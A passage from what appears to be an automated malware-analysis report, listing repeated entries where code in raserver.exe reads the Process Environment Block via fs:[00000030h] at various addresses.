Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048035A1 mov eax, dword ptr fs:[00000030h]		6_2_048035A1
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A05AC mov eax, dword ptr fs:[00000030h]		6_2_048A05AC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A05AC mov eax, dword ptr fs:[00000030h]		6_2_048A05AC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047F7D50 mov eax, dword ptr fs:[00000030h]		6_2_047F7D50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04801DB5 mov eax, dword ptr fs:[00000030h]		6_2_04801DB5
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04801DB5 mov eax, dword ptr fs:[00000030h]		6_2_04801DB5
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04801DB5 mov eax, dword ptr fs:[00000030h]		6_2_04801DB5
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E3D34 mov eax, dword ptr fs:[00000030h]		6_2_047E3D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856DC9 mov eax, dword ptr fs:[00000030h]		6_2_04856DC9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856DC9 mov eax, dword ptr fs:[00000030h]		6_2_04856DC9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856DC9 mov eax, dword ptr fs:[00000030h]		6_2_04856DC9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856DC9 mov ecx, dword ptr fs:[00000030h]		6_2_04856DC9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856DC9 mov eax, dword ptr fs:[00000030h]		6_2_04856DC9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856DC9 mov eax, dword ptr fs:[00000030h]		6_2_04856DC9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047DAD30 mov eax, dword ptr fs:[00000030h]		6_2_047DAD30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489FDE2 mov eax, dword ptr fs:[00000030h]		6_2_0489FDE2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489FDE2 mov eax, dword ptr fs:[00000030h]		6_2_0489FDE2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489FDE2 mov eax, dword ptr fs:[00000030h]		6_2_0489FDE2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489FDE2 mov eax, dword ptr fs:[00000030h]		6_2_0489FDE2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04888DF1 mov eax, dword ptr fs:[00000030h]		6_2_04888DF1
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047ED5E0 mov eax, dword ptr fs:[00000030h]		6_2_047ED5E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047ED5E0 mov eax, dword ptr fs:[00000030h]		6_2_047ED5E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489E539 mov eax, dword ptr fs:[00000030h]		6_2_0489E539
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0485A537 mov eax, dword ptr fs:[00000030h]		6_2_0485A537
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04804D3B mov eax, dword ptr fs:[00000030h]		6_2_04804D3B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04804D3B mov eax, dword ptr fs:[00000030h]		6_2_04804D3B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04804D3B mov eax, dword ptr fs:[00000030h]		6_2_04804D3B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A8D34 mov eax, dword ptr fs:[00000030h]		6_2_048A8D34
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04813D43 mov eax, dword ptr fs:[00000030h]		6_2_04813D43
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04853540 mov eax, dword ptr fs:[00000030h]		6_2_04853540
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04883D40 mov eax, dword ptr fs:[00000030h]		6_2_04883D40
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047D2D8A mov eax, dword ptr fs:[00000030h]		6_2_047D2D8A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047D2D8A mov eax, dword ptr fs:[00000030h]		6_2_047D2D8A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047D2D8A mov eax, dword ptr fs:[00000030h]		6_2_047D2D8A
Source: C:\Windows\SysWOW64\raserve